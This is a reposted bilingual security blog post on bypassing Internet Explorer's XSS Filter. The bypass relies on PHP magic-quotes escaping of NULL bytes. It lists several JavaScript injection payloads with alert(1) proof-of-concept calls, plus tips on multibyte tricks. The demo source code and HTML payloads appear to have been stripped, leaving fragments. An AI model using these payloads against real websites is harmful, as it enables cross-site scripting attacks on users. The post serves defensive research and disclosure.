PHP 魔术引号导致 IE XSS Filter bypass

admin 2021年4月3日19:28:09评论47 views字数 1849阅读6分9秒阅读模式

作者/Sogili(@jackmasa)

首发/Insight-labs.org

在一些web容器中会对一些特殊字符做转换处理,这中间ie xss filter开发人员任何地方对它的了解有疏忽,都很可能导致bypass.

php中,如果开启了”魔术引号”特性(magic_quotes_gpc = On),则 (single-quote), (double quote), (backslash) 和 NULL 字符将都会被反斜杠转义(%00 =>).

通过一些测试,我发现ie xss filter对NULL字符的转义处理并不感冒,意思是它并不了解这种转换过程.

1. xss.php demo source code:

2. HTML bypass case:


%00%00v%00%00

tips:

1. 绕过字符必须出现在拦截规则中,例如拦截

3. Javascript bypass case:

“;alert(1)//
%c0″;alert(%00)//
%c0″;//(%0dalert(1)//
%c0″;//(%0dalert(1)//
%c0″;//(%00%0dalert(1)//
%c0″//(%000000%0dalert(1)//

tips:

1. 需要通过多字节问题吃掉一个.

2. //(%000000%0d是用于绕过函数调用的拦截规则.

如果你有更多的想法或者小技巧,欢迎与我联系交流@jackmasa

####English Version:

Author/Sogili(@jackmasa)

Post/Insight-labs.org

Basically some special characters in the web container to do the conversion process,if developers mistake concept in the process,it might be bypass IE XSS Filter.

In PHP, if website enable magic_quote_gpc = On in php.ini , as we known (single-quote), (double quote), (backslash) and NULL characters are backslash as an escape (%00 => ).

For my pentesting of the bypass IE Xss Filter, I feel the IE developers are don’t interest in IE Xss Filter against NULL characters are backslash ( ) escape character, I mean they aren’t depthly understanding of the conversion process.

1. xss.php demo source code:

2. HTML bypass case:

 :(

%00%00v%00%00 :(
 :D

tips:

1.bypass the characters must be appears in intercept rules of IE Xss Filter , for example: intercept

3. Javascript bypass case:

“;alert(1)//
%c0″;alert(%00)//
%c0″;//(%0dalert(1)//
%c0″;//(%0dalert(1)//
%c0″;//(%00%0dalert(1)//
%c0″//(%000000%0dalert(1)//

tips:

1.Need through multi-byte problem close a backslash ( )

2. //(%000000%0d is used to bypass the function intercept rules.

Feel free to contact me with@jackmasa

转自:http://insight-labs.org/?p=499

文章来源于lcx.cc:PHP 魔术引号导致 IE XSS Filter bypass

相关推荐: 树莓派的基本配置 [手工翻译]

英文原文地址:Overview | Adafruit's Raspberry Pi Lesson 2. First Time Configuration | Adafruit Learning System 0x00概述 In the first lesson…

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:28:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP 魔术引号导致 IE XSS Filter bypasshttps://cn-sec.com/archives/322690.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息